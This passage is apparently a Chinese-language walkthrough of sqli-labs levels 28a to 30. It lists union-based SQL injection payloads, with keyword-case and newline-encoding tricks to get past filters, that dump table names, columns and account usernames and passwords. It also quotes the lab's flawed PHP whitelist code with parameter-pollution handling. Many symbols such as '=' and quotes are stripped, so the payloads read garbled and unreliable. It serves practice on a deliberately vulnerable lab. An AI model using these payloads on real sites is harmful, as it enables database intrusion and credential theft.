11#\22第28a关第28a关其实和第28关差不多两关可以共用一个payload的爆库?id)unIunion%0aselecton%0asEleCt%0a1,database(),2||(11爆表?id)unIunion%0aselecton%0asEleCt%0a1,unhex(hex(group_concat(table_name))),2%0afrom%0ainformation_schema.tables%0awhere%0atable_schemasecurity%0aand%0a(11爆字段?id)unIunion%0aselecton%0asEleCt%0a1,unhex(hex(group_concat(column_name))),2%0afrom%0ainformation_schema.columns%0awhere%0atable_nameusers%0aand%0atable_schemasecurity%0aand%0a(11爆账号密码?id)unIunion%0aselecton%0asEleCt%0a1,group_concat(0x5c,username,0x5c,password),2%0afrom%0ausers%0awhere%0a11%0aand%0a(11Less-29本网站受到世界最强防火墙保护这关很容易就能发现是反引号字符型注入然后爆库?id union select 1,version(),database() --爆表?id union select 1,unhex(hex(group_concat(table_name))),3 from information_schema.tables where table_schemasecurity --爆字段?id union select 1,unhex(hex(group_concat(column_name))),3 from information_schema.columns where table_schemasecurity and table_nameusers--爆账号密码?id union select 1,unhex(hex(group_concat(username))),unhex(hex(group_concat(password))) from security.users where 1 --不是我数据都拿完了都没感受到防火墙的存在我们欣赏一下源码这个waf检查了输入是不是纯数字不是就进行else分支然后重定向但是原本的脚本就没有停止sql语句继续执行这个防护就形同虚设啊?php //including the Mysql connect parameters. include(../sql-connections/sql-connect.php); //disable error reporting error_reporting(0); // take the variables if(isset($_GET[id])) { $qs $_SERVER[QUERY_STRING]; $hint$qs; $id1java_implimentation($qs); $id$_GET[id]; //echo $id1; whitelist($id1); //logging the connection parameters to a file for analysis. $fpfopen(result.txt,a); fwrite($fp,ID:.$id.\n); fclose($fp); // connectivity $sqlSELECT * FROM users WHERE id$id LIMIT 0,1; $resultmysql_query($sql); $row mysql_fetch_array($result); if($row) { echo font size5 color #99FF00; echo Your Login name:. $row[username]; echo br; echo Your Password: .$row[password]; echo /font; } else { echo font color #FFFF00; print_r(mysql_error()); echo /font; } } else { echo Please input the ID as parameter with numeric value;} //WAF implimentation with a whitelist approach..... only allows input to be Numeric. function whitelist($input) { $match preg_match(/^\d$/, $input); if($match) { //echo you are good; //return $match; } else { header(Location: hacked.php); //echo you are bad; } } // The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution). function java_implimentation($query_string) { $q_s $query_string; $qs_array explode(,$q_s); foreach($qs_array as $key $value) { $valsubstr($value,0,2); if($valid) { $id_valuesubstr($value,3,30); return $id_value; echo br; break; } } }Less-30思路payload与29关完全一致只是闭合方式是双引号payload如下爆库?id union select 1,version(),database() --爆表?id union select 1,unhex(hex(group_concat(table_name))),3 from information_schema.tables where table_schemasecurity --爆字段?id union select 1,unhex(hex(group_concat(column_name))),3 from information_schema.columns where table_schemasecurity and table_nameusers--爆账号密码?id union select 1,unhex(hex(group_concat(username))),unhex(hex(group_concat(password))) from security.users where 1 --